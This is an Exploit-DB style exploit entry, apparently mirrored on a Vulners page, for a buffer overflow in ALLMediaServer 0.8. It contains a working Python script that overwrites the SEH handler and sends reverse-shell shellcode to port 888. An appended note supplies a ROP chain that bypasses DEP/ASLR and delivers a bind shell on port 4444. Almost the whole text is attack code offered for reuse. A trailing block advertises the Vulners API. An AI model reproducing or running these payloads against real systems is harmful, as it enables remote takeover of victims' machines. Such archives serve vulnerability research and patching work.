# Exploit Title: seh exploit, BOF
# Date: 04/07/2012
# Exploit Author: motaz reda
# my E-mail: [email protected]
# Software Link: http://allmediaserver.org/
# Version: ALLMediaServer 0.8
# Tested On: Windows 7 ultimate
################################################
#!/usr/bin/python
import sys, socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 888))
buffer = "A" * 1072
buffer += "\xeb\x06\x90\x90" #NSEH jmp short 6
buffer += "\xca\x24\xec\x65" # SEH POP POP RETN
# msfpayload windows/shell_reverse_tcp
# you can replace the shellcode with any shellcode u want
buffer += ("\xd9\xc8\xd9\x74\x24\xf4\xb8\xa6\xaa\xb6\xad\x5b\x2b\xc9\xb1"
"\x4f\x83\xeb\xfc\x31\x43\x15\x03\x43\x15\x44\x5f\x4a\x45\x01"
"\xa0\xb3\x96\x71\x28\x56\xa7\xa3\x4e\x12\x9a\x73\x04\x76\x17"
"\xf8\x48\x63\xac\x8c\x44\x84\x05\x3a\xb3\xab\x96\x8b\x7b\x67"
"\x54\x8a\x07\x7a\x89\x6c\x39\xb5\xdc\x6d\x7e\xa8\x2f\x3f\xd7"
"\xa6\x82\xaf\x5c\xfa\x1e\xce\xb2\x70\x1e\xa8\xb7\x47\xeb\x02"
"\xb9\x97\x44\x19\xf1\x0f\xee\x45\x22\x31\x23\x96\x1e\x78\x48"
"\x6c\xd4\x7b\x98\xbd\x15\x4a\xe4\x11\x28\x62\xe9\x68\x6c\x45"
"\x12\x1f\x86\xb5\xaf\x27\x5d\xc7\x6b\xa2\x40\x6f\xff\x14\xa1"
"\x91\x2c\xc2\x22\x9d\x99\x81\x6d\x82\x1c\x46\x06\xbe\x95\x69"
"\xc9\x36\xed\x4d\xcd\x13\xb5\xec\x54\xfe\x18\x11\x86\xa6\xc5"
"\xb7\xcc\x45\x11\xc1\x8e\x01\xd6\xff\x30\xd2\x70\x88\x43\xe0"
"\xdf\x22\xcc\x48\x97\xec\x0b\xae\x82\x48\x83\x51\x2d\xa8\x8d"
"\x95\x79\xf8\xa5\x3c\x02\x93\x35\xc0\xd7\x33\x66\x6e\x88\xf3"
"\xd6\xce\x78\x9b\x3c\xc1\xa7\xbb\x3e\x0b\xde\xfc\xa9\x74\x49"
"\x03\x3e\x1d\x88\x03\x2f\x81\x05\xe5\x25\x29\x40\xbe\xd1\xd0"
"\xc9\x34\x43\x1c\xc4\xdc\xe0\x8f\x83\x1c\x6e\xac\x1b\x4b\x27"
"\x02\x52\x19\xd5\x3d\xcc\x3f\x24\xdb\x37\xfb\xf3\x18\xb9\x02"
"\x71\x24\x9d\x14\x4f\xa5\x99\x40\x1f\xf0\x77\x3e\xd9\xaa\x39"
"\xe8\xb3\x01\x90\x7c\x45\x6a\x23\xfa\x4a\xa7\xd5\xe2\xfb\x1e"
"\xa0\x1d\x33\xf7\x24\x66\x29\x67\xca\xbd\xe9\x97\x81\x9f\x58"
"\x30\x4c\x4a\xd9\x5d\x6f\xa1\x1e\x58\xec\x43\xdf\x9f\xec\x26"
"\xda\xe4\xaa\xdb\x96\x75\x5f\xdb\x05\x75\x4a")
s.send(buffer)
s.close()
### Exploit-DB note:
### This affects AllMediaSErver 0.94 as well.
# Exploit-DB Note:
# Here's a ROP chain that will work on Windows 7 Pro Eng DEP AlwaysOn
# DEP/ASLR bypass with bind shell on port 4444
buffer = "\x41" * 984
buffer+= "\xe6\x30\x46\x00" # Second ADD esp for stack adjustment
# add esp,90 | pop esi | pop ebx | retn ~ MediaServer.exe
buffer+= "\x41" * 88
# Step over SEH
stackAdjust = "\x9e\x6c\x42\x00" # add esp,800 | pop ebx | retn ~ MediaServer.exe
# Returns to Second ADD ESP
stackAdjust+= "\x42\x42\x42\x42" * 15 # Padding
# VirtualProtect into ESI
rop = "\x26\xfa\xf6\x65" # pop eax | retn ~ avcodec-53.dll
rop+= "\xe0\xe4\x1e\x67" # &kernel32.VirtualProtect ~
rop+= "\x54\xcd\xc6\x6a" # mov eax,dword ptr ds:[eax] | retn ~
rop+= "\x04\xef\x2e\x66" # xchg eax,esi | retn ~ avcodec-53.dll
# Puts Kernel31.VirtualProtect
# lpAddress param into EBP
rop+= "\xb3\x14\xb8\x68" # pop ebp | retn ~
rop+= "\x07\x5d\x0c\x66" # ROP jmp esp | ??? ~ avcodec-53.dll
# dwSize into EBX
rop+= "\x26\xfa\xf6\x65" # pop eax | retn ~ avcodec-53.dll
rop+= "\xff\xfd\xff\xff" # Will negate to 0x201
rop+= "\xbe\x13\x6e\x66" # neg eax | retn
rop+= "\x2b\xe2\xf4\x65" # xchg eax,ebx | retn ~ avcodec-53.dll
# flNewProtect 0x40 into EDX
rop+= "\x26\xfa\xf6\x65" # pop eax | retn ~ avcodec-53.dll
rop+= "\xc0\xff\xff\xff" # Will negate to 0x40
rop+= "\xbe\x13\x6e\x66" # neg eax | retn ~ avcodec-53.dll
rop+= "\x46\x08\x53\x66" # xchg eax,edx | retn ~ avcoded-53.dll
# lpflOldProtect into ECX
rop+= "\x26\xfa\xf6\x65" # pop eax | retn ~ avcodec-53.dll
rop+= "\x69\xef\x5f\x00" # writeable address ~ avformat-53.dll
rop+= "\xeb\x9b\x74\x66" # xchg eax,ecx | retn ~ avcodec-53.dll
# RETN into EDI
rop+= "\x84\xe6\x75\x66" # pop edi | retn
rop+= "\x6d\x9b\xb2\x6a" # retn ROP
# Nops in EAX
rop+= "\x26\xfa\xf6\x65" # pop eax | retn ~ avcodec-53.dll
rop+= "\x90\x90\x90\x90"
# PushAD
rop+= "\x3a\x18\x75\x66" # pushad | rent ~ avodec-53.dll
rop+= "\x90\x90\x90\x90"
shellcode =(
"\xba\x4b\xdb\xfb\xca\xdb\xc2\xd9\x74\x24\xf4\x5d\x2b\xc9"
"\xb1\x56\x31\x55\x13\x03\x55\x13\x83\xed\xb7\x39\x0e\x36"
"\xaf\x37\xf1\xc7\x2f\x28\x7b\x22\x1e\x7a\x1f\x26\x32\x4a"
"\x6b\x6a\xbe\x21\x39\x9f\x35\x47\x96\x90\xfe\xe2\xc0\x9f"
"\xff\xc2\xcc\x4c\xc3\x45\xb1\x8e\x17\xa6\x88\x40\x6a\xa7"
"\xcd\xbd\x84\xf5\x86\xca\x36\xea\xa3\x8f\x8a\x0b\x64\x84"
"\xb2\x73\x01\x5b\x46\xce\x08\x8c\xf6\x45\x42\x34\x7d\x01"
"\x73\x45\x52\x51\x4f\x0c\xdf\xa2\x3b\x8f\x09\xfb\xc4\xa1"
"\x75\x50\xfb\x0d\x78\xa8\x3b\xa9\x62\xdf\x37\xc9\x1f\xd8"
"\x83\xb3\xfb\x6d\x16\x13\x88\xd6\xf2\xa5\x5d\x80\x71\xa9"
"\x2a\xc6\xde\xae\xad\x0b\x55\xca\x26\xaa\xba\x5a\x7c\x89"
"\x1e\x06\x27\xb0\x07\xe2\x86\xcd\x58\x4a\x77\x68\x12\x79"
"\x6c\x0a\x79\x16\x41\x21\x82\xe6\xcd\x32\xf1\xd4\x52\xe9"
"\x9d\x54\x1b\x37\x59\x9a\x36\x8f\xf5\x65\xb8\xf0\xdc\xa1"
"\xec\xa0\x76\x03\x8c\x2a\x87\xac\x59\xfc\xd7\x02\x31\xbd"
"\x87\xe2\xe1\x55\xc2\xec\xde\x46\xed\x26\x69\x41\x23\x12"
"\x3a\x26\x46\xa4\xad\xea\xcf\x42\xa7\x02\x86\xdd\x5f\xe1"
"\xfd\xd5\xf8\x1a\xd4\x49\x51\x8d\x60\x84\x65\xb2\x70\x82"
"\xc6\x1f\xd8\x45\x9c\x73\xdd\x74\xa3\x59\x75\xfe\x9c\x0a"
"\x0f\x6e\x6f\xaa\x10\xbb\x07\x4f\x82\x20\xd7\x06\xbf\xfe"
"\x80\x4f\x71\xf7\x44\x62\x28\xa1\x7a\x7f\xac\x8a\x3e\xa4"
"\x0d\x14\xbf\x29\x29\x32\xaf\xf7\xb2\x7e\x9b\xa7\xe4\x28"
"\x75\x0e\x5f\x9b\x2f\xd8\x0c\x75\xa7\x9d\x7e\x46\xb1\xa1"
"\xaa\x30\x5d\x13\x03\x05\x62\x9c\xc3\x81\x1b\xc0\x73\x6d"
"\xf6\x40\x83\x24\x5a\xe0\x0c\xe1\x0f\xb0\x50\x12\xfa\xf7"
"\x6c\x91\x0e\x88\x8a\x89\x7b\x8d\xd7\x0d\x90\xff\x48\xf8"
"\x96\xac\x69\x29")
payload = buffer + stackAdjust + rop + shellcode
rest = 1765 - len(payload)
exploit = payload + "\xCC" * rest
# Send exploit to target's port 888Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation